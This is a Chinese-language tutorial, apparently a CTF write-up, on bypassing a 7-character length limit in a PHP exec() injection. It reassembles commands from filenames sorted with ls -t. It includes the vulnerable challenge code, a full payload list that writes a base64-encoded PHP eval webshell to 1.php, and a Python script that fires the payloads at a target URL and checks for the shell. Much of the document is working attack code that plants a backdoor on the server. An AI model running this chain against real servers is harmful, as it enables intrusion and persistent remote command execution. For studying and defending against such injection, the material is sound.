有长度限制的RCE注入

基本知识

`>`与`>>`

我们知道Linux中，有`>`和`>>`命令

> - 我们可以通过`>`来创建新文件
>
> ```
> ubuntu@VM-4-5-ubuntu:~/ezrce$ ls
> ubuntu@VM-4-5-ubuntu:~/ezrce$ >test
> ubuntu@VM-4-5-ubuntu:~/ezrce$ ls
> test
> ubuntu@VM-4-5-ubuntu:~/ezrce$
> ```
>
> - 同时`>`也可以用来往文件存入内容，但是使用`>`会直接覆盖文件为你需要的内容，如果文件不存在，那么新建文件再放入你需要的内容
>
> ```
> ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "hw" > test2
> ubuntu@VM-4-5-ubuntu:~/ezrce$ cat test2
> hw
> ```
>
> - 而`>>`则是往文件中追加新内容，不会覆盖原文件，同样的如果文件不存在也会新建文件再追加
>
> ```
> ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "233" >> test2
> ubuntu@VM-4-5-ubuntu:~/ezrce$ cat test2
> hw
> 233
> ```

多行命令

同样是在Linux中，我们可以采用在没写完的命令后写入`\`的方式，实现多行命令

```
ubuntu@VM-4-5-ubuntu:~/ezrce$ ca\
> t \
> te\
> st\
> 2
hw
233
```

同时我们也可以将命令如上图一样写入文件，并使用`sh`执行该文件

```
ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "ca\\" >> cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "t \\" >> cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "te\\" >> cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "st\\" >> cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ echo "2\\" >> cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ cat cmd
ca\
t \
te\
st\
2\
ubuntu@VM-4-5-ubuntu:~/ezrce$ sh cmd
hw
233
ubuntu@VM-4-5-ubuntu:~/ezrce$
```

- 注意这里要使用`>>`追加命令

`ls -t`

Linux中，`ls -t`可以让文件按照时间进行排序（时间靠后的排在前面）

```
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch a
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch b
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch c
ubuntu@VM-4-5-ubuntu:~/ezrce$ ls -t
c  b  a  cmd  as  test2  test
ubuntu@VM-4-5-ubuntu:~/ezrce$
```

同时也可以与上述命令构造`ls -t > cmd`

```
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch a
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch bb
ubuntu@VM-4-5-ubuntu:~/ezrce$ touch ccc
ubuntu@VM-4-5-ubuntu:~/ezrce$ ls -t > cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ cat cmd
cmd
ccc
bb
a
```

是不是跟**多行命令**中的很像，所以如果我们把文件名写为片段化的命令，就可以用`sh`来实现执行命令

```
ubuntu@VM-4-5-ubuntu:~/ezrce$ > "ag"
ubuntu@VM-4-5-ubuntu:~/ezrce$ > "fl\\"
ubuntu@VM-4-5-ubuntu:~/ezrce$ > "t \\"
ubuntu@VM-4-5-ubuntu:~/ezrce$ > "ca\\"
ubuntu@VM-4-5-ubuntu:~/ezrce$ ls -t
'ca\'  't \'  'fl\'   ag   flag
ubuntu@VM-4-5-ubuntu:~/ezrce$ ls -t > cmd
ubuntu@VM-4-5-ubuntu:~/ezrce$ sh cmd
cmd: 1: cmd: not found
fflllaaaaggggg
cmd: 6: flag: not found
ubuntu@VM-4-5-ubuntu:~/ezrce$
```

之所以是`\\`是因为防止引号转义实际上只有一个`\`写入

实战

访问题目地址

```php
<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){
        $a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);
        return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) {      //try to keep fit!
        echo(exec(filter($_GET['6'])));
}
?>
```

观察代码，filter函数中做了过滤，接下来的代码对Get的内容做了长度限制，可以用到我们上面学到的知识

于是构造一下`payload`

```php
<?php eval($_GET[1]); # 需要写入的一句话木马

PD9waHAgZXZhbCgkX0dFVFsxXSk7 # base64编码后
```

```
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php # 组合一下
```

解释一下

- `echo PD9waHAgZXZhbCgkX0dFVFsxXSk7` 是一个将Base64编码字符串输出到标准输出的命令
- `base64 -d` 是一个Base64解码的命令。在这里，它将接收前一个命令输出的Base64编码字符串，并解码成原始的二进制数据
- `> 1.php` 将解码后的二进制数据保存到一个名为 `1.php` 的文件中

命令挺长的所以我们可以写个脚本来自动执行一下

payload.txt:

```
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
```

脚本:

```python
import requests

url = "http://xxx/?6={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))

# 检查是否攻击成功
test = requests.get(
    "http://xxx/sandbox/xxxx/1.php"
)
```

```
14 if test.status_code == requests.codes.ok:
15     print("[*]Attack success!!!")
16
```

现在访问`1.php`便可以正常的命令执行了